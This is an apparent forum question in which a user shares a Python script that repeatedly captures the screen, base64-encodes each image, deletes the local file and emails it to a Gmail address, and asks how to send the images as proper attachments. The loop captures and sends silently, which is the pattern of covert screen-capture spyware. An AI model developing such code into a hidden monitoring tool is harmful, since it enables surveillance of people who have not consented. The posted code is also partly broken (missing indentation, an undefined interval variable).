i am make a python3 script that send the screenshoot to my mail after specific interval of time . But i am receiving the screenshoot in form of bsee64 not in png/jpg .pls Add that functionality to my code
Code is Here
from _multiprocessing import send
from typing import BinaryIO
from PIL import ImageGrab
import base64, os, time
import smtplib
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
# [!]Remember! You need to enable 'Allow less secure apps' in your #google account
# Enter your gmail username and password
s.login("zainali90900666@gmail.com", "password")
# message to be sent
while True:
snapshot = ImageGrab.grab() # Take snap
file = "scr.jpg"
snapshot.save(file)
f: BinaryIO = open('scr.jpg', 'rb') # Open file in binary mode
data = f.read()
data = base64.b64encode(data) # Convert binary to base 64
f.close()
os.remove(file)
message = data # data variable has the base64 string of screenshot
# Sender email, recipient email
s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", message)
time.sleep(some_time)